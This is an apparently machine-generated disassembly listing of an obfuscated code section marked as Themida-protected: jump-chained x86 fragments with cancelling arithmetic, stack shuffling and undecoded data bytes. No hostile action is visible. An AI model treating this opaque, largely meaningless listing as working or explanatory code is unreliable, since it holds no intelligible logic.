		pop	ecx
		push	edx
		mov	edx, esp
		jmp	loc_55E663
; ---------------------------------------------------------------------------
		db 5Fh,	55h, 0BDh
		dd 4, 2C8BEF01h, 4C48124h, 51000000h, 0B850E189h, 1A2A279Dh
		dd 5243EE25h, 0DE0D138h, 53233900h, 7A49E948h, 0E95A0000h
		dd 4F2Ch, 3B39C681h, 585F6BD2h,	3DB1E9h, 40D0F700h, 115C9F05h
		dd 0FEE9525Bh, 890000FBh, 5EE95EF1h
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552B5F:				; CODE XREF: Themida_:0055B601j
		xor	ebp, 63FF02D0h
		sub	ebp, 3868EEA1h
		push	ebp
		xor	dword ptr [esp], 269343FFh
		jmp	loc_5521D3
; ---------------------------------------------------------------------------


loc_552B78:				; CODE XREF: Themida_:0055AB46j
		sub	ebx, edi
		jmp	loc_5554CA
; ---------------------------------------------------------------------------
		db '^h=;',0
		dd 24048900h, 0DFCE9h, 0EC815B00h, 4, 6B9AE9h, 4E3C000h
		dd 8C5F380h, 0ED805BDDh, 59EE2884h, 0D4E9D6F6h,	8900003Dh
		dd 0F8E9242Ch
		db 0C5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_552BB7:				; CODE XREF: Themida_:0055858Fj
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_561E2E
; ---------------------------------------------------------------------------
		db 89h
		dd 10E9242Ch
		db 5, 1, 0
; ---------------------------------------------------------------------------


loc_552BCB:				; CODE XREF: Themida_:0055B9D8j
		mov	ecx, 3551EC86h
		add	ecx, ebp
		pop	ebp
		sub	ecx, 1
		jmp	loc_55A27B
; ---------------------------------------------------------------------------
		db 31h
		dd 0C7015AD0h, 4815758h, 0D703FC24h, 2434FF4Fh,	4C4815Ah
		dd 51000000h, 0D703FCB9h, 0E9CA294Fh, 8403h
; ---------------------------------------------------------------------------


loc_552C00:				; CODE XREF: Themida_:00555F96j
		sub	ecx, 828B23B0h
		sub	eax, 4EE90AFAh
		add	eax, ecx
		add	eax, 4EE90AFAh
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_552D32
; ---------------------------------------------------------------------------


loc_552C21:				; CODE XREF: Themida_:005542B8j
		pop	esp
		shl	ebp, 6
		add	ebp, 0FDBFFF04h
		add	ebx, 0CA012C1h
		add	ebx, ebp
		sub	ebx, 0CA012C1h
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5617AA
; ---------------------------------------------------------------------------


loc_552C53:				; CODE XREF: Themida_:00556FBDj
		sub	ebx, 2B6E36F1h
		add	ebx, edx
		add	ebx, 2B6E36F1h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5653CF
; ---------------------------------------------------------------------------
		dd 5736EF81h, 0C6815604h, 34C20DF6h, 0E4E9FE01h, 5100008Bh
		dd 0E888D588h, 0F6C88659h, 0E9C886D1h, 3429h, 0E9241C86h
		dd 6F60h
; ---------------------------------------------------------------------------


loc_552C98:				; CODE XREF: Themida_:0055B424j
		sub	esi, 332F157Bh
		pop	ecx
		xor	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		add	esi, ebx
		pop	ebx
		push	ecx
		mov	ecx, 4
		jmp	loc_55B2DD
; ---------------------------------------------------------------------------
		dd 0DE88E388h, 24048B5Bh, 0FFFBE6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552CC5:				; CODE XREF: Themida_:00555914j
		add	esp, 4
		sub	esp, 4
		jmp	loc_562BBE
; ---------------------------------------------------------------------------


loc_552CD3:				; CODE XREF: Themida_:0055F81Dj
		push	ebx
		add	dword ptr [esp], 65950B87h
		pop	eax
		sub	eax, 65950B87h
		mov	ecx, eax
		pop	eax
		sub	esp, 4
		jmp	loc_562DE6
; ---------------------------------------------------------------------------
		dd 8104C483h, 8615C4CAh, 26C28119h, 0E95E0926h,	0C38Bh
		dd 5624348Bh, 0C681E689h, 4, 8704C683h,	565C2434h, 0A068DE89h
		dd 8900005Dh, 32E9243Ch, 8B000061h, 0C4812434h,	4, 0D9A9E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552D32:				; CODE XREF: Themida_:00552C1Cj
		push	ecx
		mov	ecx, 1D255F38h
		dec	ecx
		dec	ecx
		jmp	loc_559D0C
; ---------------------------------------------------------------------------


loc_552D3F:				; CODE XREF: Themida_:00551C7Aj
		mov	edi, 16213E91h
		jmp	loc_556643
; ---------------------------------------------------------------------------


loc_552D49:				; CODE XREF: Themida_:0055EF4Dj
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56576C
; ---------------------------------------------------------------------------


loc_552D6D:				; CODE XREF: Themida_:005546E6j
		mov	eax, esp
		add	eax, 4
		push	edx
		jmp	loc_552E51
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 1E4C5BF7h, 3FFABB53h, 0C3813B5Ah, 212504C8h,	4D99E9h
		db 0
; ---------------------------------------------------------------------------


loc_552D91:				; CODE XREF: Themida_:00564E71j
		mov	ecx, esi
		pop	esi
		push	ecx
		pop	edi
		pop	ecx
		jmp	loc_557B64
; ---------------------------------------------------------------------------


loc_552D9C:				; CODE XREF: Themida_:005523E7j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55F814
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 6Ch
		dd 660000F9h, 0E90553B8h, 11293h, 0C9E95359h, 540000BFh
		dd 81241C8Bh, 4C4h, 4C38100h, 81000000h, 4EBh, 241C8700h
		dd 242C895Ch, 42474FFh,	5D2434FFh, 24F3E9h
		db 0
; ---------------------------------------------------------------------------


loc_552DF1:				; CODE XREF: Themida_:00557BBAj
		mov	eax, esp
		push	edx
		mov	edx, 217A2C1Ah
		not	edx
		dec	edx
		xor	edx, 0DE85D3E0h
		jmp	loc_555A19
; ---------------------------------------------------------------------------
		db 29h
		dd 0BCE9241Ch
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552E0F:				; CODE XREF: Themida_:0055B88Cj
		shr	esi, 1
		add	esi, 3FAAF34Fh
		jmp	loc_55EB37
; ---------------------------------------------------------------------------
		dd 0AEB68h, 87E9E900h, 51550000h, 0EF4242B9h, 4D49E91Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552E32:				; CODE XREF: Themida_:00560B51j
		add	ebx, 38E77170h
		inc	ebx
		xor	ebx, 9DC2AC4Fh
		jmp	loc_55BF22
; ---------------------------------------------------------------------------
		dd 41C7CA81h, 0DAF72DBDh, 0FFF6B4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552E51:				; CODE XREF: Themida_:00552D75j
		push	4
		pop	edx
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		push	3AEEh
		mov	[esp], edx
		push	esp
		jmp	loc_55BD11
; ---------------------------------------------------------------------------
		dd 0C6F68158h, 81877D79h, 576BFFEBh, 55F30117h,	576BFFBDh
		dd 0B8C3E917h, 87B90000h, 4933B429h, 7DC18141h,	1CC4BD6h
		dd 0C38159CBh, 4, 31241C33h, 1C33241Ch,	24248B24h, 4325BE56h
		dd 7CE91DE7h, 81000114h, 4C7h, 243C8700h, 66E8305Ch, 68240C8Bh
		dd 387Fh, 89243C89h, 62BD55E7h,	0C112D41Fh, 8CE905E5h
		dd 8B00003Eh, 0C4832414h, 0E4E95204h, 0B20000BBh, 80D2F648h
		dd 0EA80BBE2h, 91F280FFh, 0E95AD400h, 1956h, 366FBA52h
		dd 0EAC162BDh, 0B112E906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552F0A:				; CODE XREF: Themida_:00552847j
		push	eax
		push	ecx
		jmp	loc_562682
; ---------------------------------------------------------------------------


loc_552F11:				; CODE XREF: Themida_:0056133Cj
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		sub	esp, 4
		jmp	loc_564D4C
; ---------------------------------------------------------------------------
		dw 73BEh
		dd 81695202h, 520277F6h, 0D625E969h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552F32:				; CODE XREF: Themida_:00557FE4j
		and	ebx, ecx
		jmp	loc_55C180
; ---------------------------------------------------------------------------
		db 5Bh,	0BAh, 5Ah
		dd 29715D99h, 8FE95FFAh, 81000039h, 0EB1E44F7h,	8BFA291Eh
		dd 0C481243Ch, 4, 2474FF52h, 98E95A04h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552F63:				; CODE XREF: Themida_:00565982j
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 4
		sub	ebx, eax
		pop	eax
		jmp	loc_555F25
; ---------------------------------------------------------------------------
aBS_vSa		db ')ÙÁ˜_v,é&',0
		align 2
		dw 0CB68h
		dd 5B71FD75h, 1256DE9h,	0BCE95600h, 5F0000FCh, 6B92E9h
		dd 2CB35300h, 1C8BD828h, 4C48324h, 0B353B304h, 0E9D828E6h
		dd 776Ah, 63F1815Ah, 6838A10Fh,	283Eh, 81240C89h, 38692434h
		dd 48B3BD6h, 4C48324h, 0BAB4E9h
		db 0
; ---------------------------------------------------------------------------


loc_552FD5:				; CODE XREF: Themida_:0055C017j
		sub	eax, esi
		sub	eax, 6CDE543Bh
		add	eax, 29D71D6h
		pop	esi
		jmp	loc_561459
; ---------------------------------------------------------------------------


loc_552FE7:				; CODE XREF: Themida_:0055223Dj
		mov	ebx, 0E038183Bh
		jmp	loc_566121
; ---------------------------------------------------------------------------
		db 80h,	0F4h, 18h
		dd 0FFF176E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552FF9:				; CODE XREF: Themida_:0055486Cj
		pop	dword ptr [esp]
		jmp	loc_55DDF6
; ---------------------------------------------------------------------------
		db 57h,	66h, 0BFh
		dd 0F7661421h, 0D7F766DFh, 58E78166h, 9D2E923h,	0DF350001h
		dd 5572F32h, 2C9338B9h,	0A00D1A35h, 0E9C18974h,	0B589h
		dd 0E9DE015Ah, 0A23Dh
; ---------------------------------------------------------------------------


loc_553034:				; CODE XREF: Themida_:0055A875j
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_55D4C0
; ---------------------------------------------------------------------------


loc_553042:				; CODE XREF: Themida_:0055928Aj
		mov	edi, 19DF000Ah
		sub	edi, 6E950D99h
		jmp	loc_565EAB
; ---------------------------------------------------------------------------
		dw 0D3B9h
		dd 4948EA1Dh, 0D1F7D9F7h, 14DDC181h, 90E9324Eh
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553067:				; CODE XREF: Themida_:0055C77Dj
		add	ecx, 7A964B4Dh
		sub	ecx, edx
		jmp	loc_5571C7
; ---------------------------------------------------------------------------
		dd 4EC81h, 14890000h, 668FBA24h, 54011B48h, 34FF0424h
		dd 0C4835A24h, 0E596E904h, 0E589FFFFh, 4C581h, 0BB530000h
		dd 4, 4EE9DD01h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5530A7:				; CODE XREF: Themida_:00566189j
		pop	esi
		sub	ecx, 4
		push	326Ah
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5635FE
; ---------------------------------------------------------------------------
		db 50h
		dd 0DE3E7FB8h, 2DD0F715h, 16983DC4h, 5854CB2Dh,	30F50D37h
		dd 0E7051C05h, 29933024h, 34FF58C2h, 0C4815924h, 4, 0E9241487h
		dd 0D8D3h, 0E16FE94Dh, 0E7810000h, 3CA3493Fh, 102F781h
		dd 0FB01259Ah, 5DEE95Fh
		db 1, 0
; ---------------------------------------------------------------------------


loc_553112:				; CODE XREF: Themida_:00565843j
		mov	eax, ebx
		pop	ebx
		jmp	loc_55B429
; ---------------------------------------------------------------------------
		dw 9E9h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55311F:				; CODE XREF: Themida_:0056409Fj
		or	edx, 5FAF0A20h
		push	ebx
		mov	ebx, 0
		sub	ebx, edx
		xchg	ebx, edx
		jmp	loc_562CC0
; ---------------------------------------------------------------------------
		dd 61D6EA81h, 0BD551365h, 67FE4993h, 6A2EA81h, 0EA291B92h
		dd 5ECBE9h, 2434FF00h, 1AE95058h, 81000052h, 0E8042444h
		dd 58352557h, 0FFE6A2E9h, 243C8BFFh, 8304C483h,	4BE904C4h
		dd 2900002Ch, 0EB39E9FBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55317A:				; CODE XREF: Themida_:0055BC4Bj
		pop	ebp
		shr	edx, 3
		xchg	eax, edx
		jmp	loc_558EC3
; ---------------------------------------------------------------------------
		dd 382DC801h, 53747421h, 8364B4BBh, 5BD80127h, 8904EC83h
		dd 3BF243Ch, 292F4B1Bh,	7B055FF8h, 8B20637Eh, 0C483240Ch
		dd 0E555E904h, 53680000h, 89000074h, 2B9240Ch, 1000000h
		dd 240C8BCFh, 0D025E9h,	0F629B200h, 232DE9DAh, 2CAC0000h
		dd 0C070E9DCh, 48F0000h, 24248B24h, 2404FF66h, 0E43EE99Ch
		dd 66ACFFFFh, 0E94BB652h, 0E2Ch, 50286866h, 24048966h
		dd 0FFFBB6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553201:				; CODE XREF: Themida_:00557C50j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xor	ebp, 64FB4FDDh
		add	ebp, 4B1C7CABh
		xor	ebp, 5E4CAD37h
		jmp	loc_55A9F0
; ---------------------------------------------------------------------------


loc_55321F:				; CODE XREF: Themida_:0055659Ej
		inc	edi
		sub	edi, 1D24EC51h
		sub	edx, edi
		pop	edi
		pop	ebp
		push	11E4h
		mov	[esp], esi
		jmp	loc_55AD5B
; ---------------------------------------------------------------------------


loc_553237:				; CODE XREF: Themida_:0055E42Cj
		pop	esp
		jmp	loc_554829
; ---------------------------------------------------------------------------
		db 66h,	89h, 14h
aSmg		db '$éMG',0
		align 2
aFSSf		db 'f-˜`]é”]',0
		align 10h


loc_553250:				; CODE XREF: Themida_:00563586j
		mov	[esp], cx
		jmp	loc_562EBE
; ---------------------------------------------------------------------------


loc_553259:				; CODE XREF: Themida_:005519D9j
		pop	ecx
		jmp	loc_55CEF8
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E58108EDh, 685F4861h, 5A4EF581h, 81451096h,	0AC6036CDh
		dd 8FED8154h, 0E929C566h, 0FFFFED3Dh, 6824148Bh, 4012h
		dd 89242C89h, 1EADE9E5h, 7DB80000h, 0E910F1D6h,	1F9h
; ---------------------------------------------------------------------------


loc_55329C:				; CODE XREF: Themida_:0055EEAFj
		pop	ebp
		pop	dword ptr [esp]
		not	ebp
		xchg	ebp, [esp]
		pop	edi
		sub	esp, 4
		jmp	loc_5582C2
; ---------------------------------------------------------------------------
aTSr		db 'T[éÙ',0
		align 4
		dd 2414F757h, 0E5C7815Fh, 81A1BB35h, 202BE7C3h,	81FB0104h
		dd 202BE7EBh, 0D4E95F04h
		db 0C1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5532D7:				; CODE XREF: Themida_:00564866j
		sub	esp, 4
		mov	[esp], ebx
		pop	eax
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_5551EA
; ---------------------------------------------------------------------------
		db 0F7h, 0D9h, 81h
		dd 0D19F72E9h, 59CD21E8h, 6B3FBE56h, 81461F0Ah,	1D79DFCEh
		dd 0EEC14E7Bh, 0C1BD5507h, 81291D75h, 0D45D4AEDh, 7CD8127h
		dd 0E9475A0Fh, 0A343h, 4C481h, 0B6520000h, 0E9F700FFh
		dd 0FFFFF086h, 0C681E689h, 4, 4C681h, 0FFE90000h, 6600005Dh
		dd 665BDF01h, 0E95FFB01h, 10BD1h, 0C6D9E957h, 0C4830000h
		dd 4EC8304h, 0BD242C89h, 4, 2C8BEE01h, 4C48124h, 0E9000000h
		dd 0CF88h, 4C381h, 0C5680000h, 0E9000061h, 0D369h
; ---------------------------------------------------------------------------


loc_553380:				; CODE XREF: Themida_:00551E50j
		mov	[esp], ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_556482
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4EC8104h, 89000000h,	0E2682434h, 8900003Ah, 0E789243Ch
		dd 457E9h
		db 0
; ---------------------------------------------------------------------------


loc_5533AD:				; CODE XREF: Themida_:00561DB9j
		sub	ebx, ebp
		pop	ebp
		jmp	loc_55199A
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 81C6015Ch, 832F9EEh,	4EC8128h, 89000000h, 0BEE92404h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5533CF:				; CODE XREF: Themida_:0055BBAAj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 38183695h
		sub	esi, 2D21773Bh
		sub	esi, eax
		add	esi, 2D21773Bh
		mov	eax, [esp]
		add	esp, 4
		or	edi, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_564D8F
; ---------------------------------------------------------------------------
		db 89h
		dd 5ABB241Ch, 0C162ED4Ch, 0C38108EBh, 0FF9D12B8h, 562AE981h
		dd 4DE945B0h, 2D00009Ah, 351630FDh, 0D158C621h,	4F681E6h
		dd 122820Ah, 1BABE9F7h,	248B0000h, 9BC2E924h, 0E9530000h
		dd 0FFFFFB4Ah, 33241C31h, 54E9241Ch, 0F6000063h, 34C0FED0h
		dd 0E9C6085Fh, 111EFh
; ---------------------------------------------------------------------------


loc_553454:				; CODE XREF: Themida_:00559120j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		jmp	loc_55E8BC
; ---------------------------------------------------------------------------
		db 51h,	54h, 0E9h
		dd 10485h, 0E9240C89h, 0B62Ah, 2C481h, 232C0000h, 6FD9E9h
		dd 4EC8300h, 0CE36E9h, 0D0015E00h, 0B30AE9h, 0FFC20100h
		dd 0E9582434h, 4837h, 0FFF1E94Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5534A6:				; CODE XREF: Themida_:0055AF01j
		sub	esp, 4
		mov	[esp], edx
		push	21272D69h
		pop	edx
		or	edx, 404E02E1h
		xor	edx, 76C21F0Dh
		add	edx, 11F03CC2h
		jmp	loc_564A31
; ---------------------------------------------------------------------------
		dd 197C68h, 3879E900h, 55A0000h, 4AE64478h, 0C554E9h, 4BA00h
		dd 0D7290000h, 243C335Ah, 33243C31h, 895C243Ch,	0B9E9242Ch
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5534FB:				; CODE XREF: Themida_:00557FB4j
		sub	ebp, edx
		pop	edx
		sub	ebp, ebx
		push	edx
		jmp	loc_5598BF
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0AE682404h, 89000003h, 0FF54241Ch, 835B2434h, 0BF5704C4h
		dd 4C467565h, 7561EF81h, 0C3814C46h, 68F86D9Bh,	0EB81FB01h
		dd 68F86D9Bh, 83243C8Bh, 6EE904C4h, 0B0000113h,	0E91B04A9h
		dd 0D895h, 489CEA81h, 34FF12C5h, 0C4815F24h, 4,	0FFE0CBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55355D:				; CODE XREF: Themida_:0056041Aj
		sub	dword ptr [esp], 2F4A44A1h
		jmp	loc_55FD82
; ---------------------------------------------------------------------------


loc_553569:				; CODE XREF: Themida_:0055538Aj
		pop	ebp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	172Ah
		mov	[esp], edx
		mov	edx, 1E2A5152h
		xor	eax, edx
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		push	3452h
		mov	[esp], ecx
		jmp	loc_5541FF
; ---------------------------------------------------------------------------
aSz_0		db '\é‡À',0
		align 2


loc_55359A:				; CODE XREF: Themida_:0056150Fj
		xor	esi, edx
		push	dword ptr [esp]
		jmp	loc_557850
; ---------------------------------------------------------------------------
		dd 4C681h, 2AE90000h, 0C1000026h, 875207EAh, 0D0F72404h
		dd 5A240487h, 6B34BD55h, 68E90439h, 0FF00011Ch,	34FF2434h
		dd 0F4C0E924h, 0E289FFFFh, 0F9B95150h, 5565B232h, 1448E953h
		dd 48B0001h, 75B1E924h,	0D3200000h, 24148B66h, 6602C483h
		dd 3078B450h, 5866E3h, 2434FFD8h, 0E689565Bh, 0FFEF61E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553609:				; CODE XREF: Themida_:0055E879j
		push	566Ch
		mov	[esp], ebx
		jmp	loc_56005E
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 1FFB68h, 77F0E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553626:				; CODE XREF: Themida_:005621FDj
		add	edx, 36DD7509h
		add	edx, 15F47B6Ch
		jmp	loc_557FE9
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 4991h, 0E9243C89h, 0B22h,	0D0F7D0F7h, 592F68h
		dd 240C8900h, 304846B9h, 82DFE951h, 8B660000h, 4668240Ch
		dd 89000076h, 42E9241Ch, 87FFFFFCh, 48E9241Ch, 6800012Fh
		dd 79BCh, 0E9243489h, 0DB7Fh
; ---------------------------------------------------------------------------


loc_553684:				; CODE XREF: Themida_:00565740j
		push	edi
		mov	edi, ecx
		mov	ebp, edi
		pop	edi
		mov	ecx, [esp]
		push	edi
		jmp	loc_5613AB
; ---------------------------------------------------------------------------
		db 66h
		dd 66501CBAh, 5A66D301h, 4820E9h, 55DA2900h, 6C32A6BDh
		dd 0C41FE918h, 0C2810000h, 703868A0h, 11C00E9h,	8B666400h
		dd 5E545602h, 5038BB53h, 0C38159DAh, 792E7614h,	34F6CB81h
		dd 0F3816A64h, 0FB6CF6FAh, 5406EE81h, 0DE016737h, 5406C681h
		dd 815B6737h, 4ECh, 24048900h, 63FCE9h,	0ECC68000h, 0EF54E958h
		dd 0C789FFFFh, 4815758h, 355BDB24h, 0EA815A74h,	74355BDBh
		dd 83243C8Bh, 448104C4h, 3850424h, 6C814669h, 253E0424h
		dd 7FE972C3h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55372B:				; CODE XREF: Themida_:00559932j
		and	esi, edi
		pop	edi
		xor	esi, 179E2E21h
		push	71D7h
		mov	[esp], eax
		mov	eax, 0AE6280BFh
		push	edx
		mov	edx, 611056BEh
		add	esi, edx
		pop	edx
		add	esi, 63401982h
		sub	esi, 26CA030Bh
		add	esi, eax
		add	esi, 26CA030Bh
		sub	esi, 63401982h
		sub	esi, 611056BEh
		pop	eax
		mov	ebx, esi
		jmp	loc_56407C
; ---------------------------------------------------------------------------


loc_553772:				; CODE XREF: Themida_:00565C73j
		xor	ebp, 7B8A7808h
		sub	ebp, 5E73869h
		add	ebp, 5D6E912h
		push	2216h
		mov	[esp], ebp
		add	dword ptr [esp], 4EC10C9Ch
		pop	edi
		jmp	loc_556A2D
; ---------------------------------------------------------------------------
		db 5Ch,	68h, 8Fh
		dd 8900001Eh, 0E589242Ch, 4C581h, 3C680000h, 8900004Eh
		dd 38E92414h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5537B7:				; CODE XREF: Themida_:0055C878j
		push	esp
		jmp	loc_562311
; ---------------------------------------------------------------------------


loc_5537BD:				; CODE XREF: Themida_:00559831j
		add	eax, 10BD6DA8h
		mov	ebx, eax
		jmp	loc_55C128
; ---------------------------------------------------------------------------
aQissA		db 'Q‰áéºa',0
		dd 0DE52E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5537D6:				; CODE XREF: Themida_:00556DC1j
		add	esp, 4
		jmp	loc_558651
; ---------------------------------------------------------------------------
		db 1, 0C6h, 0E9h
		dd 8546h, 4BDh,	5DEE0100h, 7949E9h, 24248B00h, 0E4ABE9h
		dd 0E9D7F700h, 5C96h, 4C781h, 0BB530000h, 4, 87E9DF29h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553817:				; CODE XREF: Themida_:0055B60Aj
		push	esi
		mov	esi, 59AE2D2Ah
		jmp	loc_55D21D
; ---------------------------------------------------------------------------
		dw 1487h
		dd 0E9515C24h, 1AC0h, 8B241487h, 48B2424h, 22396824h, 3C890000h
		dd 5564E924h, 0F0010000h, 3045D02Dh, 16830528h,	34FF5ABAh
		dd 848DE924h, 13680000h, 8900007Eh, 4BD242Ch, 68000000h
		dd 776Dh, 0BF243C89h, 4A880A9Eh, 8247C01h, 246C015Fh, 246C8104h
		dd 880A9E04h, 242C8B4Ah, 4C481h, 685D0000h, 144Ah, 0E9243C89h
		dd 2055h
; ---------------------------------------------------------------------------


loc_553898:				; CODE XREF: Themida_:0055EF76j
		and	ebx, 6BA166D1h
		push	ecx
		jmp	loc_5544BF
; ---------------------------------------------------------------------------
		dd 8704C183h, 64E9240Ch, 89000073h, 0C3815AD6h,	19FE06D9h
		dd 0EB81F301h, 19FE06D9h, 5024348Bh, 4055854h, 83000000h
		dd 82E904C0h, 5E000085h, 4B95152h, 89000000h, 0EE8159CAh
		dd 64E0470h, 0AC3EE81h,	0D6016727h, 0AC3C681h, 57526727h
		dd 68A7E9h, 6137BD00h, 0ED8149CAh, 1F7421Fh, 8103EDC1h
		dd 701284F5h, 5DEE8942h, 0E681DEF7h, 2E986EF1h,	0FFB6E9h
		dd 0B3C38000h, 0E904EB80h, 0DF6Eh
; ---------------------------------------------------------------------------


loc_553928:				; CODE XREF: Themida_:005623B7j
		and	eax, 3DF451Bh
		add	eax, 64BFE2EDh
		xor	ebp, eax
		pop	eax
		push	eax
		mov	eax, 3F7C45A9h
		jmp	loc_55F72D
; ---------------------------------------------------------------------------


loc_553940:				; CODE XREF: Themida_:00563AB6j
		test	cx, ax
		pushf
		jmp	loc_551628
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 83240C8Bh, 576804C4h, 89000054h, 0C2682434h,	81000049h
		dd 4ECh, 24248900h, 4240481h, 8F000000h, 0EC832404h, 24048904h
		dd 4B8h, 24440100h, 24048B04h, 8E21E9h,	2E11B800h, 81E95589h
		dd 5C0000DBh, 0E17EE9h,	4C48300h, 5E4EEE81h, 0CE0109B6h
		dd 2F22E9h, 8BC80100h, 0C483240Ch, 24048704h, 0FF24248Bh
		dd 48B2434h, 4C48124h, 52000000h, 173EE9h, 0B2ED8100h
		dd 1696E62h, 0B2C581F5h, 0FF696E62h, 0D2E92434h, 330000A1h
		dd 34312434h, 24343324h, 0E924248Bh, 7C03h
; ---------------------------------------------------------------------------


loc_5539F0:				; CODE XREF: Themida_:00564777j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5642D9
; ---------------------------------------------------------------------------
		db 1, 0F3h, 5Eh
		dd 4C381h, 1C870000h, 0B2685C24h, 0E9000040h, 7C22h, 0D7244805h
		dd 284D057Fh, 0C80104E8h, 0E8284D2Dh, 24482D04h, 87597FD7h
		dd 555C2404h, 6187BA52h, 0B9511B21h, 0CAC2CE5h,	0AAB67ABDh
		dd 59CD2933h, 148BD529h, 4C48324h, 5EA268h, 303E900h, 0F1810000h
		dd 3FF34542h, 46FAE9h
		db 0
; ---------------------------------------------------------------------------


loc_553A5D:				; CODE XREF: Themida_:00555B4Aj
		xor	edx, [esp]
		pop	esp
		add	ebx, edi
		pop	edi
		push	63B0h
		mov	[esp], ebp
		push	edx
		mov	edx, 4
		mov	ebp, edx
		jmp	loc_55B74D
; ---------------------------------------------------------------------------
		db 68h,	94h, 3Fh
		dd 815E6375h, 753F90F6h, 5EF08963h, 6480E9h, 290CB800h
		dd 0C6813AAEh, 4CC078ABh, 0EE81C601h, 4CC078ABh, 8EE0E958h
		dd 48F0000h, 24248B24h,	0E92434FFh, 4CB1h, 0E91EE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553ABA:				; CODE XREF: Themida_:0055D3FCj
		mov	eax, 7C8870BBh
		add	ebx, eax
		jmp	loc_561F5D
; ---------------------------------------------------------------------------
		dw 8B5Dh
		dd 0C4832404h, 4BA5204h, 1000000h, 81515AD0h, 4ECh, 241C8900h
		dd 0E153E9BBh, 0AC19B91Eh, 93E9E11Eh, 810000DAh, 7F47FDC3h
		dd 2FF3815Fh, 81F7B729h, 321924C6h, 81DE013Ah, 321924EEh
		dd 241C8B3Ah, 107D7E9h
		db 0
; ---------------------------------------------------------------------------


loc_553B11:				; CODE XREF: Themida_:00557618j
		pop	edx
		jmp	loc_563A30
; ---------------------------------------------------------------------------
		db 9
		dd 243C8BF8h, 4C481h, 0BD550000h, 72476CBAh, 0C47DC581h
		dd 0E821A27Eh, 30132D5Dh, 0C20110C6h, 3200E9h
		db 0
; ---------------------------------------------------------------------------


loc_553B3D:				; CODE XREF: Themida_:00554CAAj
		add	ebp, 7AA11929h
		shr	ebp, 5
		add	ebp, 688474A1h
		mov	esi, ebp
		jmp	loc_55F038
; ---------------------------------------------------------------------------


loc_553B53:				; CODE XREF: Themida_:00564D8Aj
		mov	[esp], eax
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		jmp	loc_55EEAB
; ---------------------------------------------------------------------------
		db 5Fh
		dd 8702C583h, 248B242Ch, 0B30F6624h, 0E99C2404h, 0FFFFDAA8h
; ---------------------------------------------------------------------------


loc_553B80:				; CODE XREF: Themida_:00551FA2j
		push	ebp
		push	ecx
		mov	ecx, 4
		jmp	loc_55ABEC
; ---------------------------------------------------------------------------
